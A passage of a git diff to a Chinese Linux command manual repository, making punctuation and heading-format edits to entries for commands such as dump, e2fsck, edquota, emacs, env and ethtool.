+-n:当备份工作需要管理员介入时,向所有“operator”群组中的使用者发出通知 +-s<磁带长度>:备份磁带的长度,单位为英尺 +-T<日期>:指定备份的时间与日期 +-u:备份完毕后,在/etc/dumpdates中记录备份的文件系统、层级、日期与时间等 +-w:与-W类似,但仅显示需要备份的文件 +-W:显示需要备份的文件及其最后一次备份的层级、时间与日期 ``` ### 参数 -备份源:指定要备份的文件、目录或者文件系统。 +备份源:指定要备份的文件、目录或者文件系统 -### 实例 +## 实例 将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`0`并在`/etc/dumpdates`中记录相关信息: @@ -49,6 +49,6 @@ dump(选项)(参数) dump -1u -f /tmp/homeback.bak /home ``` -通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。 +通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份 diff --git a/Linux_man_cn/e2fsck.md b/Linux_man_cn/e2fsck.md index f0e5343..43704a3 100644 --- a/Linux_man_cn/e2fsck.md +++ b/Linux_man_cn/e2fsck.md @@ -5,19 +5,19 @@ e2fsck(单用户模式执行) ## 说明 -**e2fsck命令** 用于检查第二扩展文件系统的完整性,通过适当的选项可以尝试修复出现的错误。 +**e2fsck命令** 用于检查第二扩展文件系统的完整性,通过适当的选项可以尝试修复出现的错误 e2fsck执行后的传回值及代表意义如下: -* 0 没有任何错误发生。 -* 1 文件系统发生错误,并且已经修正。 -* 2 文件系统发生错误,并且已经修正。 -* 4 文件系统发生错误,但没有修正。 -* 8 运作时发生错误。 -* 16 使用的语法发生错误。 -* 128 共享的函数库发生错误。 +* 0 没有任何错误发生 +* 1 文件系统发生错误,并且已经修正 +* 2 文件系统发生错误,并且已经修正 +* 4 文件系统发生错误,但没有修正 +* 8 运作时发生错误 +* 16 使用的语法发生错误 +* 128 共享的函数库发生错误 -### 语法 +## 选项 ``` e2fsck(选项)(参数) @@ -26,32 +26,32 @@ e2fsck(选项)(参数) ``` --a:不询问使用者意见,便自动修复文件系统; --b:指定superblock,而不使用预设的superblock; --B<区块大小>:指定区块的大小,单位为字节; --c:一并执行badblocks,以标示损坏的区块; --C:将检查过程的信息完整记录在file descriptor中,使得整个检查过程都能完整监控; --d:显示排错信息; --f:即使文件系统没有错误迹象,仍强制地检查正确性; --F:执行前先清除设备的缓冲区; --l<文件>:将文件中指定的区块加到损坏区块列表; --L<文件>:先清除损坏区块列表,再将文件中指定的区块加到损坏区块列表。因此损坏区块列表的区块跟文件中指定的区块是一样的; --n:以只读模式开启文件系统,并采取非互动方式执行,所有的问题对话均设置以"no"回答; --p:不询问使用者意见,便自动修复文件系统; --r:此参数只为了兼容性而存在,并无实际作用; --s:如果文件系统的字节顺序不适当,就交换字节顺序,否则不做任何动作; --S:不管文件系统的字节顺序,一律交换字节顺序; --t:显示时间信息; --v:执行时显示详细的信息; --V:显示版本信息; --y:采取非互动方式执行,所有的问题均设置以"yes"回答。 +-a:不询问使用者意见,便自动修复文件系统 +-b:指定superblock,而不使用预设的superblock +-B<区块大小>:指定区块的大小,单位为字节 +-c:一并执行badblocks,以标示损坏的区块 +-C:将检查过程的信息完整记录在file descriptor中,使得整个检查过程都能完整监控 +-d:显示排错信息 +-f:即使文件系统没有错误迹象,仍强制地检查正确性 +-F:执行前先清除设备的缓冲区 +-l<文件>:将文件中指定的区块加到损坏区块列表 +-L<文件>:先清除损坏区块列表,再将文件中指定的区块加到损坏区块列表。因此损坏区块列表的区块跟文件中指定的区块是一样的 +-n:以只读模式开启文件系统,并采取非互动方式执行,所有的问题对话均设置以"no"回答 +-p:不询问使用者意见,便自动修复文件系统 +-r:此参数只为了兼容性而存在,并无实际作用 +-s:如果文件系统的字节顺序不适当,就交换字节顺序,否则不做任何动作 +-S:不管文件系统的字节顺序,一律交换字节顺序 +-t:显示时间信息 +-v:执行时显示详细的信息 +-V:显示版本信息 +-y:采取非互动方式执行,所有的问题均设置以"yes"回答 ``` ### 参数 -文件系统或者分区:指定文件系统或者分区所对应的设备文件名。 +文件系统或者分区:指定文件系统或者分区所对应的设备文件名 -### 实例 +## 实例 检查`/dev/sda1`是否有问题,如发现问题便自动修复: @@ -59,6 +59,6 @@ e2fsck(选项)(参数) e2fsck -a -y /dev/sda1 ``` -执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行。 +执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行 diff --git a/Linux_man_cn/e2label.md b/Linux_man_cn/e2label.md index decc4b4..a664935 100644 --- a/Linux_man_cn/e2label.md +++ b/Linux_man_cn/e2label.md @@ -9,7 +9,7 @@ ```markdown e2label device [ new-label ] -若new-label可选参数未指定则只是查看对应设备的卷标,指定的卷标最多可以包含16个字符; 如果new-label的长度超过16个字符, +若new-label可选参数未指定则只是查看对应设备的卷标,指定的卷标最多可以包含16个字符; 如果new-label的长度超过16个字符 则e2label将截断它并打印一个警告信息 ``` diff --git a/Linux_man_cn/ed.md b/Linux_man_cn/ed.md index 6c8b851..fae3f4c 100644 --- a/Linux_man_cn/ed.md +++ b/Linux_man_cn/ed.md @@ -8,16 +8,16 @@ ed **ed命令** 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下: ``` -A:切换到输入模式,在文件的最后一行之后输入新的内容; -C:切换到输入模式,用输入的内容替换掉最后一行的内容; -i:切换到输入模式,在当前行之前加入一个新的空行来输入内容; -d:用于删除最后一行文本内容; -n:用于显示最后一行的行号和内容; -w:<文件名>:一给定的文件名保存当前正在编辑的文件; -q:退出ed编辑器。 +A:切换到输入模式,在文件的最后一行之后输入新的内容 +C:切换到输入模式,用输入的内容替换掉最后一行的内容 +i:切换到输入模式,在当前行之前加入一个新的空行来输入内容 +d:用于删除最后一行文本内容 +n:用于显示最后一行的行号和内容 +w:<文件名>:一给定的文件名保存当前正在编辑的文件 +q:退出ed编辑器 ``` -### 语法 +## 选项 ``` ed(选项)(参数) @@ -26,15 +26,15 @@ ed(选项)(参数) ``` --G或——traditional:提供兼容的功能; --p<字符串>:指定ed在command mode的提示字符; --s,-,--quiet或——silent:不执行开启文件时的检查功能; ---help:显示帮助; ---version:显示版本信息。 +-G或——traditional:提供兼容的功能 +-p<字符串>:指定ed在command mode的提示字符 +-s,-,--quiet或——silent:不执行开启文件时的检查功能 +--help:显示帮助 +--version:显示版本信息 ``` ### 参数 -文件:待编辑的文件。 +文件:待编辑的文件 diff --git a/Linux_man_cn/edquota.md b/Linux_man_cn/edquota.md index a36733c..7c7c503 100644 --- a/Linux_man_cn/edquota.md +++ b/Linux_man_cn/edquota.md @@ -5,9 +5,9 @@ edquota ## 说明 -**edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。 +**edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置 -### 语法 +## 选项 ``` edquota(选项)(参数) @@ -16,21 +16,21 @@ edquota(选项)(参数) ``` --u:设置用户的quota,这是预设的参数; --g:设置群组的quota; --p<源用户名称>:将源用户的quota设置套用至其他用户或群组; --t:设置宽限期限。 +-u:设置用户的quota,这是预设的参数 +-g:设置群组的quota +-p<源用户名称>:将源用户的quota设置套用至其他用户或群组 +-t:设置宽限期限 ``` ### 参数 -用户:指定要编辑磁盘配额限制的用户名或者工作组。 +用户:指定要编辑磁盘配额限制的用户名或者工作组 -### 实例 +## 实例 **配置系统的磁盘配额支持** -首先,磁盘配额是区域性的,我们可以决定哪块分区进行磁盘配额,哪块分区不用(自然也就不用配置了)。一般而言,作为一台web虚拟主机服务器,`/home`和`/www`(或者类似的)是供用户存放资源的分区,所以可以对这两个分区进行磁盘配额。假定我们需要对`/home`分区实现用户级的限制,而对`/www`进行每个组的用户配额。 +首先,磁盘配额是区域性的,我们可以决定哪块分区进行磁盘配额,哪块分区不用(自然也就不用配置了)。一般而言,作为一台web虚拟主机服务器,`/home`和`/www`(或者类似的)是供用户存放资源的分区,所以可以对这两个分区进行磁盘配额。假定我们需要对`/home`分区实现用户级的限制,而对`/www`进行每个组的用户配额 第一步: @@ -67,14 +67,14 @@ LABEL=/ / ext2 defaults,usrquota,grpquota 1 1 说明:`/etc/fstab`文件的每一行由六个字段组成: -* 第一个字段:文件系统(分区)的注释(类似卷标); -* 第二个字段:文件系统的装载点; -* 第三个字段:文件系统类型(磁盘配额只能在ext2文件系统上实现); -* 第四个字段:装载文件系统是使用的选项,如果只想实现基于用户的磁盘配额,就加入usrquota关键字,只想实现基于组的磁盘配额,就加入grpqouta关键字,如果两者都需要,就全写入,中间可以用逗号分隔。 -* 第五个字段:表明该文件系统(分区)是否为只读,如果是0就表示只读,1表示可以读写。 -* 第六个字段:表示系统启动执行fsck时检查的顺序。 +* 第一个字段:文件系统(分区)的注释(类似卷标) +* 第二个字段:文件系统的装载点 +* 第三个字段:文件系统类型(磁盘配额只能在ext2文件系统上实现) +* 第四个字段:装载文件系统是使用的选项,如果只想实现基于用户的磁盘配额,就加入usrquota关键字,只想实现基于组的磁盘配额,就加入grpqouta关键字,如果两者都需要,就全写入,中间可以用逗号分隔 +* 第五个字段:表明该文件系统(分区)是否为只读,如果是0就表示只读,1表示可以读写 +* 第六个字段:表示系统启动执行fsck时检查的顺序 -注意:请特别注意这里的拼写,是usrquota和grpquota,不要写成userquota和groupquota。 +注意:请特别注意这里的拼写,是usrquota和grpquota,不要写成userquota和groupquota 进入单用户模式,用quotacheck生成.user或.group文件 @@ -86,14 +86,14 @@ example:quotacheck / ; quotacheck /home 如果单用户模式报错的话umount你的设备`/dev/hda*` -再执行就ok了,重启动系统,如果一切正常的话,quota将开始正常工作。 +再执行就ok了,重启动系统,如果一切正常的话,quota将开始正常工作 **设置用户和组配额的分配量** -对磁盘配额的限制一般是从一个用户占用磁盘大小和所有文件的数量两个方面来进行的。在具体操作之前,我们先了解一下磁盘配额的两个基本概念:软限制和硬限制。 +对磁盘配额的限制一般是从一个用户占用磁盘大小和所有文件的数量两个方面来进行的。在具体操作之前,我们先了解一下磁盘配额的两个基本概念:软限制和硬限制 -* 软限制:一个用户在文件系统可拥有的最大磁盘空间和最多文件数量,在某个宽限期内可以暂时超过这个限制。 -* 硬限制:一个用户可拥有的磁盘空间或文件的绝对数量,绝对不允许超过这个限制。 +* 软限制:一个用户在文件系统可拥有的最大磁盘空间和最多文件数量,在某个宽限期内可以暂时超过这个限制 +* 硬限制:一个用户可拥有的磁盘空间或文件的绝对数量,绝对不允许超过这个限制 **通过edquota直接编辑数据文件:** @@ -132,7 +132,7 @@ inodes in use:0,limits(soft = 12800,hard = 51200) edquota -p lanf -u Jack Tom Chen ``` -这样一来,这三个用户就被赋予了和lanf一样的磁盘配额。 +这样一来,这三个用户就被赋予了和lanf一样的磁盘配额 对组的配额,除了edquota命令中对应`-u`选项的改为`-g`选项,例如下面对webterm1组的操作: @@ -154,7 +154,7 @@ Grace period before enforcing soft limits for users: /dev/sda5:block grace period:0 days,file grace period:0 days ``` -可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时。 +可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时 ``` Time units may be:days,hours,minutes,or seconds @@ -192,11 +192,11 @@ Filesystem blocks quota limit grace file quota limit grace /dev/sda5 3 102400 409800 1 12800 51200 ``` -同样,可以使用`quota -g groupname`命令来参看某个组的磁盘使用情况。 +同样,可以使用`quota -g groupname`命令来参看某个组的磁盘使用情况 注意: 1. 如果该用户没有配置磁盘限额的话,输出显示`Disk quotas for user hujm (uid 503): none` -2. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。 +2. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况 diff --git a/Linux_man_cn/egrep.md b/Linux_man_cn/egrep.md index acb2f2e..3fb8f5d 100644 --- a/Linux_man_cn/egrep.md +++ b/Linux_man_cn/egrep.md @@ -5,15 +5,15 @@ egrep ## 说明 -**egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。 +**egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范 -### 语法 +## 选项 ``` egrep(选项)(查找模式)(文件名1,文件名2,……) ``` -### 实例 +## 实例 显示文件中符合条件的字符。例如,查找当前目录下所有文件中包含字符串"Linux"的文件,可以使用如下命令: diff --git a/Linux_man_cn/eject.md b/Linux_man_cn/eject.md index fe242a8..8972a9f 100644 --- a/Linux_man_cn/eject.md +++ b/Linux_man_cn/eject.md @@ -5,13 +5,13 @@ eject ## 说明 -**eject命令** 用来退出抽取式设备。若设备已挂入,则eject命令会先将该设备卸除再退出。 +**eject命令** 用来退出抽取式设备。若设备已挂入,则eject命令会先将该设备卸除再退出 -eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及zip磁盘)在软件控制下弹出。该命令也可以控制一些多盘片CD-ROM控制器,控制一些设备支持的自动弹出功能,以及控制一些CD-ROM驱动器磁盘托盘的关闭。与name相应的设备将被弹出,name可以为设备文件或者其挂载点,也可以为完整路径或者省略前面的/dev或者/mnt设备文件名。如果没有指定name,缺省使用cdrom。 +eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及zip磁盘)在软件控制下弹出。该命令也可以控制一些多盘片CD-ROM控制器,控制一些设备支持的自动弹出功能,以及控制一些CD-ROM驱动器磁盘托盘的关闭。与name相应的设备将被弹出,name可以为设备文件或者其挂载点,也可以为完整路径或者省略前面的/dev或者/mnt设备文件名。如果没有指定name,缺省使用cdrom -有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。 +有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载 -### 语法 +## 选项 ``` eject(选项)(参数) @@ -20,21 +20,21 @@ eject(选项)(参数) ``` --a<开关>或--auto<开关>:控制设备的自动退出功能; --c<光驱编号>或--changerslut<光驱编号> 选择光驱柜中的光驱; --d或--default:显示预设的设备,而不是实际执行动作; --f或--floppy:退出抽取式磁盘; --h或--help:显示帮助; --n或--noop:显示指定的设备; --q或--tape:退出磁带; --r或--cdrom:退出光盘; --s或--scsi:以SCSI指令来退出设备; --t或--trayclose:关闭光盘的托盘; --v或--verbose:执行时,显示详细的说明。 +-a<开关>或--auto<开关>:控制设备的自动退出功能 +-c<光驱编号>或--changerslut<光驱编号> 选择光驱柜中的光驱 +-d或--default:显示预设的设备,而不是实际执行动作 +-f或--floppy:退出抽取式磁盘 +-h或--help:显示帮助 +-n或--noop:显示指定的设备 +-q或--tape:退出磁带 +-r或--cdrom:退出光盘 +-s或--scsi:以SCSI指令来退出设备 +-t或--trayclose:关闭光盘的托盘 +-v或--verbose:执行时,显示详细的说明 ``` ### 参数 -设备名:指定弹出的设备名称。 +设备名:指定弹出的设备名称 diff --git a/Linux_man_cn/elinks.md b/Linux_man_cn/elinks.md index 9892781..00bed4f 100644 --- a/Linux_man_cn/elinks.md +++ b/Linux_man_cn/elinks.md @@ -5,9 +5,9 @@ elinks ## 说明 -**elinks命令** 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。 +**elinks命令** 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似 -### 语法 +## 选项 ``` elinks(选项)(参数) @@ -16,16 +16,16 @@ elinks(选项)(参数) ``` --anonymous:是否使用匿名帐号方式; --auto-submit:对于偶然遇到的第一个表单是否自动提交; --config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录; --dump:将HTML文档以纯文本的方式打印到标准输出设备; --version:显示指令的版本信息; --h:显示帮助信息。 +-anonymous:是否使用匿名帐号方式 +-auto-submit:对于偶然遇到的第一个表单是否自动提交 +-config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录 +-dump:将HTML文档以纯文本的方式打印到标准输出设备 +-version:显示指令的版本信息 +-h:显示帮助信息 ``` ### 参数 -URL:指定要访问的URL地址。 +URL:指定要访问的URL地址 diff --git a/Linux_man_cn/elm.md b/Linux_man_cn/elm.md index 9604ce5..30894b9 100644 --- a/Linux_man_cn/elm.md +++ b/Linux_man_cn/elm.md @@ -5,9 +5,9 @@ elm ## 说明 -**elm命令** 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。 +**elm命令** 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面 -### 语法 +## 选项 ``` elm(选项) @@ -16,13 +16,13 @@ elm(选项) ``` --s<邮件主题>:指定新邮件的邮件主题; --f<目录>:开启程序时,读取指定的目录; --h:显示帮助; --i<文件名>:将文件内容插入送出的邮件中; --m:进入elm后,不显示指令说明; --v:显示elm的版本信息; --z:若收件信箱没有邮件,则不启动elm程序。 +-s<邮件主题>:指定新邮件的邮件主题 +-f<目录>:开启程序时,读取指定的目录 +-h:显示帮助 +-i<文件名>:将文件内容插入送出的邮件中 +-m:进入elm后,不显示指令说明 +-v:显示elm的版本信息 +-z:若收件信箱没有邮件,则不启动elm程序 ``` diff --git a/Linux_man_cn/emacs.md b/Linux_man_cn/emacs.md index 850fb65..b9ec0c1 100644 --- a/Linux_man_cn/emacs.md +++ b/Linux_man_cn/emacs.md @@ -5,9 +5,9 @@ emacs ## 说明 -**emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。 +**emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs -### 语法 +## 选项 ``` emacs(选项)(参数) @@ -16,18 +16,18 @@ emacs(选项)(参数) ``` -+<行号>:启动emacs编辑器,并将光标移动到制定行号的行; --q:启动emacs编辑器,而不加载初始化文件; --u<用户>:启动emacs编辑器时,加载指定用户的初始化文件; --t<文件>:启动emacs编辑器时,把指定的文件作为中端,不适用标准输入(stdin)与标准输出(stdout); --f<函数>:执行指定lisp(广泛应用于人工智能领域的编程语言)函数; --l:加载指定的lisp代码文件; --batch:以批处理模式运行emacs编辑器。 ++<行号>:启动emacs编辑器,并将光标移动到制定行号的行 +-q:启动emacs编辑器,而不加载初始化文件 +-u<用户>:启动emacs编辑器时,加载指定用户的初始化文件 +-t<文件>:启动emacs编辑器时,把指定的文件作为中端,不适用标准输入(stdin)与标准输出(stdout) +-f<函数>:执行指定lisp(广泛应用于人工智能领域的编程语言)函数 +-l:加载指定的lisp代码文件 +-batch:以批处理模式运行emacs编辑器 ``` ### 参数 -文件:指定要编辑的文本文件。 +文件:指定要编辑的文本文件 ## emacs命令操作大全 @@ -88,7 +88,7 @@ C-w (redefined) : 剪切一块区域;如果没有设置mark,则是剪切一 M-w (redefined) : 拷贝一块区域;如果没有设置mark, 则是拷贝一行 C-k : 从当前位置剪切到行尾 C-y : 粘贴 -M-y : 用C-y拉回最近被除去的文本后,换成 M-y可以拉回以前被除去的文本。键入多次的M-y可以拉回更早以前被除去的文本。 +M-y : 用C-y拉回最近被除去的文本后,换成 M-y可以拉回以前被除去的文本。键入多次的M-y可以拉回更早以前被除去的文本 C-x r k : 执行矩形区域的剪切 C-x r y : 执行矩形区域的粘贴 ``` diff --git a/Linux_man_cn/enable.md b/Linux_man_cn/enable.md index 6e427ae..54e39c4 100644 --- a/Linux_man_cn/enable.md +++ b/Linux_man_cn/enable.md @@ -5,11 +5,11 @@ enable ## 说明 -**enable命令** 用于临时关闭或者激活指定的shell内部命令。若要执行的文件名称与shell内建命令相同,可用`enable -n`来关闭shell内建命令。若不加`-n`选项,enable可重新启动关闭的命令。 +**enable命令** 用于临时关闭或者激活指定的shell内部命令。若要执行的文件名称与shell内建命令相同,可用`enable -n`来关闭shell内建命令。若不加`-n`选项,enable可重新启动关闭的命令 -linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。因为了解了这一点,所以看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了enable命令我们就能做到了。 +linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。因为了解了这一点,所以看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了enable命令我们就能做到了 -### 语法 +## 选项 ``` enable(选项)(参数) @@ -18,16 +18,16 @@ enable(选项)(参数) ``` --n:关闭指定的内部命令; --a:显示所有激活的内部命令; --f:从指定文件中读取内部命令。 +-n:关闭指定的内部命令 +-a:显示所有激活的内部命令 +-f:从指定文件中读取内部命令 ``` ### 参数 -内部命令:指定要关闭或激活的内部命令。 +内部命令:指定要关闭或激活的内部命令 -### 实例 +## 实例 使用enable命令显示所有激活的内部命令: diff --git a/Linux_man_cn/env.md b/Linux_man_cn/env.md index ccb10a0..d409093 100644 --- a/Linux_man_cn/env.md +++ b/Linux_man_cn/env.md @@ -5,11 +5,11 @@ env ## 说明 -**env命令** 用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。 +**env命令** 用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量 -如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。 +如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径 -### 语法 +## 选项 ``` env(选项)(参数) @@ -18,16 +18,16 @@ env(选项)(参数) ``` --i:开始一个新的空的环境; --u<变量名>:从当前环境中删除指定的变量。 +-i:开始一个新的空的环境 +-u<变量名>:从当前环境中删除指定的变量 ``` ### 参数 -* 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”; -* 指定:指定要执行的指令和参数。 +* 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值” +* 指定:指定要执行的指令和参数 -### 实例 +## 实例 ``` [root@localhost ~]# env diff --git a/Linux_man_cn/ethtool.md b/Linux_man_cn/ethtool.md index b71f4bc..dbd4fbd 100644 --- a/Linux_man_cn/ethtool.md +++ b/Linux_man_cn/ethtool.md @@ -19,23 +19,23 @@ ethtool [-t] ethX [offline|online] ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external] [wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N] --a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。 --A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。 --c display the Coalesce information of the specified ethernet card。 --C Change the Coalesce setting of the specified ethernet card。 --g Display the rx/tx ring parameter information of the specified ethernet card。 --G change the rx/tx ring setting of the specified ethernet card。 --i 显示网卡驱动的信息,如驱动的名称、版本等。 --d 显示register dump信息, 部分网卡驱动不支持该选项。 --e 显示EEPROM dump信息,部分网卡驱动不支持该选项。 --E 修改网卡EEPROM byte。 --k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。 --K 修改网卡Offload参数的状态。 --p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。 --r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。 --S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。 --t 让网卡执行自我检测,有两种模式:offline or online。 --s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。 +-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off +-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off +-c display the Coalesce information of the specified ethernet card +-C Change the Coalesce setting of the specified ethernet card +-g Display the rx/tx ring parameter information of the specified ethernet card +-G change the rx/tx ring setting of the specified ethernet card +-i 显示网卡驱动的信息,如驱动的名称、版本等 +-d 显示register dump信息, 部分网卡驱动不支持该选项 +-e 显示EEPROM dump信息,部分网卡驱动不支持该选项 +-E 修改网卡EEPROM byte +-k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等 +-K 修改网卡Offload参数的状态 +-p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位 +-r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation +-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等 +-t 让网卡执行自我检测,有两种模式:offline or online +-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等 ethtool DEVNAME Display standard information about device ethtool -s|--change DEVNAME Change generic options diff --git a/Linux_man_cn/ex.md b/Linux_man_cn/ex.md index 510bda6..aadefd8 100644 --- a/Linux_man_cn/ex.md +++ b/Linux_man_cn/ex.md @@ -5,9 +5,9 @@ ex ## 说明 -在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可。 +在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可 -### 语法 +## 选项 ``` ex(参数) @@ -15,6 +15,6 @@ ex(参数) ### 参数 -文件:指定待编辑的文件。 +文件:指定待编辑的文件 diff --git a/Linux_man_cn/exec.md b/Linux_man_cn/exec.md index 991ffa3..9df2e2b 100644 --- a/Linux_man_cn/exec.md +++ b/Linux_man_cn/exec.md @@ -8,8 +8,8 @@ ## 选项 ```markdown --c:在空环境中执行指定的命令。 -指令:要执行的指令和相应的参数。 +-c:在空环境中执行指定的命令 +指令:要执行的指令和相应的参数 ``` ## 实例 @@ -38,6 +38,6 @@ exec -c echo Linux C++ #调用命令 Linux C++ #使用指定指令输出信息 ``` -通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功。 +通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功 diff --git a/Linux_man_cn/exit.md b/Linux_man_cn/exit.md index 9a04024..9bb5565 100644 --- a/Linux_man_cn/exit.md +++ b/Linux_man_cn/exit.md @@ -5,9 +5,9 @@ exit ## 说明 -**exit命令** 同于退出shell,并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数,则shell以预设值退出。状态值0代表执行成功,其他值代表执行失败。 +**exit命令** 同于退出shell,并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数,则shell以预设值退出。状态值0代表执行成功,其他值代表执行失败 -### 语法 +## 选项 ``` exit(参数) @@ -15,9 +15,9 @@ exit(参数) ### 参数 -返回值:指定shell返回值。 +返回值:指定shell返回值 -### 实例 +## 实例 退出当前shell: diff --git a/Linux_man_cn/expand.md b/Linux_man_cn/expand.md index 4d59ba4..0780a1e 100644 --- a/Linux_man_cn/expand.md +++ b/Linux_man_cn/expand.md @@ -5,9 +5,9 @@ expand ## 说明 -**expand命令** 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。 +**expand命令** 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备 -### 语法 +## 选项 ``` expand(选项)(参数) @@ -16,11 +16,11 @@ expand(选项)(参数) ``` --t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。 +-t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8 ``` ### 参数 -文件:指定要转换制表符为空白的文件。 +文件:指定要转换制表符为空白的文件 diff --git a/Linux_man_cn/export.md b/Linux_man_cn/export.md index 5d454a9..5cea744 100644 --- a/Linux_man_cn/export.md +++ b/Linux_man_cn/export.md @@ -2,16 +2,16 @@ ## 说明 -**export命令** 用于将shell变量输出为环境变量,或者将shell函数输出为环境变量。 +**export命令** 用于将shell变量输出为环境变量,或者将shell函数输出为环境变量 -一个变量创建时,它不会自动地为在它之后创建的shell进程所知。而命令export可以向后面的shell传递变量的值。当一个shell脚本调用并执 行时,它不会自动得到原为脚本(调用者)里定义的变量的访问权,除非这些变量已经被显式地设置为可用。export命令可以用于传递一个或多个变量的值到任何后继脚本。 +一个变量创建时,它不会自动地为在它之后创建的shell进程所知。而命令export可以向后面的shell传递变量的值。当一个shell脚本调用并执 行时,它不会自动得到原为脚本(调用者)里定义的变量的访问权,除非这些变量已经被显式地设置为可用。export命令可以用于传递一个或多个变量的值到任何后继脚本 ## 